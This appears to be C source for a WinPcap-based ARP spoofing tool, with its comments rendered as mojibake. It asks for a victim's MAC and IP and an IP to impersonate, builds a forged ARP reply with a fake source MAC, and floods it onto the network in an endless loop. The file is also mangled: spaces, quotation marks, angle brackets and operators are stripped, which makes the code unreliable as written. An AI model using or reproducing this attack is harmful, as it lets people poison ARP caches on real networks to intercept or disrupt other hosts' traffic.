#includestdlib.h#includestdio.h#includepcap.hintmain(){pcap_if_t*alldevs;//¶¨ÒåÒ»¸öÍøÂç½Ó¿ÚµÄÒ»¸ö½Úµãpcap_if_t*d;inti=0,inum=0,j;charerrbuf[PCAP_ERRBUF_SIZE];u_charpacket[60];pcap_t*adhandle;/*»ñµÃÉ豸Áбí*/if(pcap_findalldevs(&alldevs,errbuf)==-1){fprintf(stderr,Errorinpcap_findalldevs:%s\n,errbuf);exit(1);}/*´òÓ¡Áбí*/for(d=alldevs;d!=NULL;d=d-next){printf(%d.%s,++i,d-name);if(d-description)printf((%s)\n,d-description);elseprintf((Nodescriptionavailable)\n);}if(i==0){printf(\nNointerfacesfound!MakesureWinPcapisinstalled.\n);return0;}printf(Entertheinterfacenumber(1-%d):,i);scanf(%d,&inum);/*Ìøתµ½Ñ¡ÖеÄÊÊÅäÆ÷*/for(d=alldevs,i=0;iinum-1;d=d-next,i++);/*´ò¿ªÊÊÅäÆ÷*/if((adhandle=pcap_open_live(d-name,//É豸Ãû65536,//Òª²¶×½µÄÊý¾Ý°üµÄ²¿·Ö//65535±£Ö¤Äܲ¶»ñµ½²»Í¬Êý¾ÝÁ´Â·²ãÉϵÄÿ¸öÊý¾Ý°üµÄÈ«²¿ÄÚÈÝ1,//»ìÔÓģʽ1000,//¶ÁÈ¡³¬Ê±Ê±¼äerrbuf//´íÎ󻺳å³Ø))==NULL){fprintf(stderr,\nUnabletoopentheadapter.%sisnotsupportedbyWinPcap\n,d-name);/*ÊÍ·ÅÉ豸Áбí*/pcap_freealldevs(alldevs);return-1;}printf(ÊäÈë±»¹¥»÷·½µÄMACµØÖ·£¨ÈçFF-FF-FF-FF-FF-FFÔòΪ¹ã²¥£©\n);scanf(%2x-%2x-%2x-%2x-%2x-%2x,&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);/*ÒÔÌ«ÍøÄ¿µÄµØÖ·*//*ÒÔÌ«ÍøÔ´µØÖ·£¬µ±È»ÊǼٵÄ*/packet[6]=0xf0;packet[7]=0xaf;packet[8]=0X97;packet[9]=0x6d;packet[10]=0Xad;packet[11]=0xca;/*Ö¡ÀàÐÍ£¬0806±íʾARPÐÒé*/packet[12]=0x08;packet[13]=0x06;/*Ó²¼þÀàÐÍ£¬0001ÒÔÌ«Íø*/packet[14]=0x00;packet[15]=0x01;/*ÐÒéÀàÐÍ£¬0800IPÐÒé*/packet[16]=0x08;packet[17]=0x00;/*Ó²¼þµØÖ·³¤¶È*/packet[18]=0x06;/*ÐÒéµØÖ·³¤¶È*/packet[19]=0x04;/*op£¬01±íʾÇëÇó£¬02±íʾ»Ø¸´*/packet[20]=0x00;packet[21]=0x02;/*·¢ËͶËÒÔÌ«ÍøµØÖ·£¬Í¬Êײ¿ÖÐÒÔÌ«ÍøÔ´µØÖ·*/for(i=22;i28;i++){packet[i]=packet[i-16];}/*·¢ËͶËIPµØÖ·*/printf(ÊäÈëÒª¼ÙðµÄipµØÖ·\n);scanf(%d.%d.%d.%d,&packet[28],&packet[29],&packet[30],&packet[31]);/*Ä¿µÄÒÔÌ«ÍøµØÖ·£¬Í¬Êײ¿ÖÐÄ¿µÄµØÖ·*/for(i=32;i38;i++){packet[i]=packet[i-32];}/*Ä¿µÄIPµØÖ·£¬ÊÖ¶¯ÊäÈë*/printf(ÊäÈë±»¹¥»÷·½µÄipµØÖ·\n);scanf(%d.%d.%d.%d,&packet[38],&packet[39],&packet[40],&packet[41]);/*Ìî³äÊý¾Ý*/for(j=42;j60;j++){packet[j]=0x00;}/*ÔÚÆÁÄ»ÉÏÊä³öÊý¾Ý±¨*/for(i=0;i60;i++){printf(%x,packet[i]);}//intk=10;/*·¢ËÍÊý¾Ý±¨*/while(1){pcap_sendpacket(adhandle,packet,60);//Ò»¸ö×°ÓÐÒª·¢ËÍÊý¾ÝµÄ»º³åÇø£¬Òª·¢Ë͵ij¤¶È£¬ºÍÒ»¸öÊÊÅäÆ÷printf(OK);//_sleep(1000);//k--;¿ØÖÆ¿ìÂý}pcap_close(adhandle);return0;}